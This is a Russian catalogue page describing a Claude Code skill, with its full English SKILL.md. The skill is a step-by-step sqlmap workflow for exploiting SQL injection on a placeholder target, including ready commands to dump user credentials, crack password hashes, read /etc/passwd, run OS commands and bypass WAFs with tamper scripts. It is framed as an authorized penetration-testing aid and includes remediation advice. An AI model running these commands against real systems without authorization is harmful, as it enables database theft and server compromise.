К основному содержанию
скилл CX Codex

exploiting-sql-injection-with-sqlmap — скилл для Claude Code: работа

Ведёт агента по этапам проверки SQL-инъекций через sqlmap: найти точку входа, подтвердить её, вытащить данные в рамках авторизованного пентеста.

Установить в Claude Code · Через Skills CLI (Vercel) Все способы и платформы ↓
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-sql-injection-with-sqlmap -a claude-code
Открыть на GitHub

Что делает exploiting-sql-injection-with-sqlmap

Скилл даёт агенту пошаговый сценарий работы с sqlmap: сначала ручной поиск параметров, которые ходят в базу, через прокси и curl, потом запуск sqlmap с --batch и --random-agent, перечисление баз, таблиц и колонок, выгрузка нужных строк. Дальше идут проверки посерьёзнее — права текущего пользователя, чтение файлов, выполнение команд ОС — и обход фильтров через --tamper.

Внутри семь шагов и справочные таблицы: типы инъекций (union, blind boolean, time-based, error-based, out-of-band, second-order) и инструменты вроде Burp Suite и OWASP ZAP. Команды записаны готовыми, с флагами — агенту остаётся подставить свой адрес и параметр.

До запуска нужны письменное соглашение о тестировании цели, сам sqlmap (pip install sqlmap или apt install sqlmap) и Python 3.6+. Без этих бумаг и установленного инструмента скилл бесполезен, потому что весь его рабочий цикл крутится вокруг sqlmap на реальной цели.

Какие задачи решает

  • подтвердить SQL-инъекцию в параметре, найденном вручную
  • проверить POST-запрос, перехваченный в Burp Suite
  • перечислить базы, таблицы и колонки на уязвимом хосте
  • выгрузить ограниченный набор строк, чтобы показать ущерб
  • обойти WAF подбором tamper-скриптов

Примеры запросов агенту

  • Проверь параметр id на https://target.example.com/products?id=1 через sqlmap, покажи тип базы
  • Собери список таблиц в базе target_db по сохранённому запросу request.txt
  • Выгрузи колонки username,password,email из таблицы users, но не больше десяти строк

Как установить exploiting-sql-injection-with-sqlmap

1Через Skills CLI (Vercel)

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-sql-injection-with-sqlmap -a claude-code

2Вручную: положить файлы

~/.claude/skills/exploiting-sql-injection-with-sqlmap/SKILL.md

Папка скилла целиком; для одного проекта — .claude/skills/exploiting-sql-injection-with-sqlmap/

По шагам, с командами для каждой платформы: Как установить скилл в Claude Code: пять способов

Из того же набора89

analyzing-macro-malware-in-office-documents Разбирает вредоносные VBA-макросы в документах Word, Excel и PowerPoint. Нужен для проверки подозрительных вложений и восстановления цепочки атаки. CX Codex +1 336установок testing-for-business-logic-vulnerabilities Скилл помогает вручную искать ошибки бизнес-логики в веб-приложениях через Burp Suite. Нужен для проверки цен, многошаговых процессов и прав доступа. CX Codex +1 333установок testing-websocket-api-security Проверяет безопасность WebSocket API: аутентификацию при рукопожатии, токены и уязвимость к CSWSH. Пригодится при аудите защищённости сокетов. CX Codex +1 328установок analyzing-mft-for-deleted-file-recovery Скилл для криминалистического анализа NTFS: разбирает $MFT, $LogFile, $UsnJrnl и slack space, чтобы восстановить метаданные и содержимое удалённых файлов. CX Codex +1 326установок analyzing-memory-forensics-with-lime-and-volatility Скилл помогает выгрузить память ядра Linux через модуль LiME и разобрать дамп во фреймворке Volatility 3 при расследовании инцидентов. CX Codex +1 321установок bypassing-authentication-with-forced-browsing Скилл для пентеста веб-приложений: ищет незакрытые страницы, API и админки перебором URL и проверяет, где аутентификация не enforced. CX Codex +1 321установок hardening-docker-containers-for-production Скилл укрепляет Dockerfile, образы и настройки контейнеров по CIS Docker Benchmark v1.8.0. Пригодится перед production-развёртыванием и аудитом. CX Codex +1 320установок conducting-external-reconnaissance-with-osint Скилл собирает профиль цели по открытым источникам: DNS, логи сертификатов, поиск, соцсети, репозитории и утечки. Для пассивной фазы пентеста. CX Codex +1 319установок

Похожие

git-guardrails-claude-code Matt Pocock Скилл ставит хук Claude Code, который останавливает опасные Git-команды до их запуска. Нужен, если агент не должен делать push или удалять изменения. 499 069установок ponytail-review DietrichGebert Скилл проверяет изменения глубже обычного diff: читает связанный код, ищет ошибки, риски, проблемы нагрузки и недостающие тесты. Пригодится для ревью PR и коммитов. CX Codex +1 57 000установок ponytail-audit DietrichGebert Проверяет репозиторий и ранжирует ошибки, риски и лишний код. Подойдёт, если нужен разовый разбор без автоматических правок. CX Codex +1 45 400установок security-audit cloudflare Проверяет кодовую базу на уязвимости и ищет нарушения границ доверия. Пригодится перед релизом или для точечного разбора опасных участков кода. CX Codex +1 54 800установок security-and-hardening addyosmani Помогает проектировать защиту и проверять код на уязвимости при работе с вводом, авторизацией, сессиями и внешними сервисами. Подойдёт перед релизом и при создании функций, которые обрабатывают недоверенные данные. CX Codex +1 70 200установок supabase официальный supabase Скилл помогает настраивать базу данных, аутентификацию и RLS в Supabase без скрытых дыр в безопасности. CX Codex GP ChatGPT 8установок

Рядом в теме «Безопасность»

Всё по теме «Безопасность» →

Вопросы о exploiting-sql-injection-with-sqlmap

Как установить exploiting-sql-injection-with-sqlmap в Claude Code?

Выполните npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-sql-injection-with-sqlmap -a claude-code. Скилл появится в ~/.claude/skills/exploiting-sql-injection-with-sqlmap/SKILL.md.

Что делает exploiting-sql-injection-with-sqlmap?

Описывает порядок проверки и эксплуатации SQL-инъекций через sqlmap: обнаружение точки, перечисление структуры базы, выгрузка данных, проверка прав и обход фильтров.

Что нужно подготовить перед запуском?

Письменное разрешение на тестирование цели, установленный sqlmap и Python 3.6+. Для перехвата запросов пригодится прокси вроде Burp Suite.

Исходный текст

SKILL.md · Apache-2.0
---
name: exploiting-sql-injection-with-sqlmap
description: Detecting and exploiting SQL injection vulnerabilities using sqlmap to
  extract database contents during authorized penetration tests.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- sql-injection
- sqlmap
- owasp
- database-security
- web-security
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1055
---

# Exploiting SQL Injection with sqlmap

## When to Use

- During authorized web application penetration testing engagements
- When manual testing reveals potential SQL injection points in parameters, headers, or cookies
- For validating SQL injection findings from automated scanners like Burp Suite or OWASP ZAP
- When you need to demonstrate the impact of SQL injection by extracting data from backend databases
- During CTF challenges involving SQL injection exploitation

## Prerequisites

- **Authorization**: Written penetration testing agreement (Rules of Engagement) for the target
- **sqlmap**: Install via `pip install sqlmap` or `apt install sqlmap` on Kali Linux
- **Python 3.6+**: Required runtime for sqlmap
- **Burp Suite** (optional): For capturing and replaying HTTP requests
- **Target access**: Network connectivity to the target web application
- **Browser with proxy**: Firefox with FoxyProxy for intercepting requests

## Workflow

### Step 1: Identify Potential Injection Points

Manually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.

```bash
# Start Burp Suite proxy and capture requests
# Look for parameters in URLs, POST bodies, cookies, and headers
# Example target URL with a suspected injectable parameter:
# https://target.example.com/products?id=1

# Test manually for basic SQL injection indicators
curl -k "https://target.example.com/products?id=1'"
# Look for SQL error messages like:
# - "You have an error in your SQL syntax"
# - "ORA-01756: quoted string not properly terminated"
# - "Microsoft SQL Native Client error"
```

### Step 2: Run sqlmap Basic Detection Scan

Launch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.

```bash
# Basic GET parameter test
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent

# For POST requests (save the request from Burp Suite to a file)
sqlmap -r request.txt --batch --random-agent

# Test specific parameter in a POST request
sqlmap -u "https://target.example.com/login" \
  --data="username=admin&password=test" \
  -p "username" --batch --random-agent

# Test with cookie-based injection
sqlmap -u "https://target.example.com/dashboard" \
  --cookie="session=abc123; user_id=5" \
  -p "user_id" --batch --random-agent
```

### Step 3: Enumerate Database Structure

Once injection is confirmed, enumerate databases, tables, and columns.

```bash
# List all databases
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent

# List tables in a specific database
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db --tables --batch --random-agent

# List columns in a specific table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --columns --batch --random-agent
```

### Step 4: Extract Data from Target Tables

Dump the contents of sensitive tables to demonstrate impact.

```bash
# Dump specific columns from a table
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password,email" \
  --dump --batch --random-agent

# Dump with row limit to avoid excessive data extraction
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump --start=1 --stop=10 \
  --batch --random-agent

# Attempt to crack password hashes automatically
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users -C "username,password" \
  --dump --batch --passwords --random-agent
```

### Step 5: Test for Advanced Exploitation Vectors

Assess the full impact by testing OS-level access and file operations.

```bash
# Check current database user and privileges
sqlmap -u "https://target.example.com/products?id=1" \
  --current-user --current-db --is-dba --batch --random-agent

# Attempt to read server files (if DBA privileges exist)
sqlmap -u "https://target.example.com/products?id=1" \
  --file-read="/etc/passwd" --batch --random-agent

# Attempt OS command execution (MySQL with FILE privilege)
sqlmap -u "https://target.example.com/products?id=1" \
  --os-cmd="whoami" --batch --random-agent
```

### Step 6: Use Tamper Scripts to Bypass WAF/Filters

When Web Application Firewalls or input filters block basic payloads, use tamper scripts.

```bash
# Common tamper scripts for WAF bypass
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="space2comment,between,randomcase" \
  --batch --random-agent

# For specific WAF bypass (e.g., ModSecurity)
sqlmap -u "https://target.example.com/products?id=1" \
  --tamper="modsecurityversioned,modsecurityzeroversioned" \
  --batch --random-agent

# List all available tamper scripts
sqlmap --list-tampers
```

### Step 7: Generate Report and Clean Up

Document findings and clean up any artifacts.

```bash
# sqlmap stores results in ~/.local/share/sqlmap/output/
# Review the target output directory
ls -la ~/.local/share/sqlmap/output/target.example.com/

# Export results with specific output directory
sqlmap -u "https://target.example.com/products?id=1" \
  -D target_db -T users --dump \
  --output-dir="/tmp/pentest-results" \
  --batch --random-agent

# Clean sqlmap session data after engagement
sqlmap --purge
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Union-based SQLi** | Uses UNION SELECT to append attacker query results to the original query output |
| **Blind Boolean SQLi** | Infers data one bit at a time by observing true/false application responses |
| **Blind Time-based SQLi** | Uses database sleep functions (e.g., `SLEEP(5)`) to infer data based on response delays |
| **Error-based SQLi** | Extracts data through verbose database error messages returned in HTTP responses |
| **Stacked Queries** | Executes multiple SQL statements separated by semicolons for INSERT/UPDATE/DELETE operations |
| **Out-of-band SQLi** | Exfiltrates data via DNS or HTTP requests initiated by the database server |
| **Tamper Scripts** | sqlmap plugins that modify payloads to bypass WAFs and input sanitization filters |
| **Second-order SQLi** | Injected payload is stored and executed later in a different query context |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **sqlmap** | Automated SQL injection detection and exploitation framework |
| **Burp Suite Professional** | HTTP proxy for intercepting, modifying, and replaying requests |
| **OWASP ZAP** | Free alternative to Burp for web application scanning and proxying |
| **Havij** | Automated SQL injection tool with GUI (Windows) |
| **jSQL Injection** | Java-based GUI tool for SQL injection testing |
| **DBeaver/DataGrip** | Database clients for verifying extracted data structure |

## Common Scenarios

### Scenario 1: E-commerce Product Page SQLi
A product detail page uses `id` parameter directly in SQL query. Use sqlmap to extract the full customer database including payment information to demonstrate critical business impact.

### Scenario 2: Login Form Bypass
A login form concatenates user input into an authentication query. Exploit to bypass authentication and enumerate all user credentials stored in the database.

### Scenario 3: Search Function with WAF Protection
A search feature is vulnerable to SQL injection but protected by a WAF. Use tamper scripts like `space2comment` and `between` to encode payloads and bypass the filter rules.

### Scenario 4: Cookie-based Blind SQL Injection
A session cookie value is used in a database query on the server side. Use time-based blind injection techniques to extract data character by character.

## Output Format

```
## SQL Injection Finding

**Vulnerability**: SQL Injection (Union-based)
**Severity**: Critical (CVSS 9.8)
**Location**: GET parameter `id` at /products?id=1
**Database**: MySQL 8.0.32
**Impact**: Full database read access, 15,000 user records exposed
**OWASP Category**: A03:2021 - Injection

### Evidence
- Injection point: `id` parameter (GET)
- Technique: UNION query-based
- Backend DBMS: MySQL >= 5.0
- Current user: app_user@localhost
- DBA privileges: No

### Databases Enumerated
1. information_schema
2. target_app_db
3. mysql

### Sensitive Data Exposed
- Table: users (15,247 rows)
- Columns: id, username, email, password_hash, created_at

### Recommendation
1. Use parameterized queries (prepared statements) for all database interactions
2. Implement input validation with allowlists for expected data types
3. Apply least-privilege database permissions for the application user
4. Deploy a Web Application Firewall as defense-in-depth
5. Enable database query logging and monitoring for anomalous patterns
```

© mahipal · Apache-2.0 · mukul975/Anthropic-Cybersecurity-Skills

Смотрите также

Спонсоры проекта

Компании, которые помогают держать аналитику открытой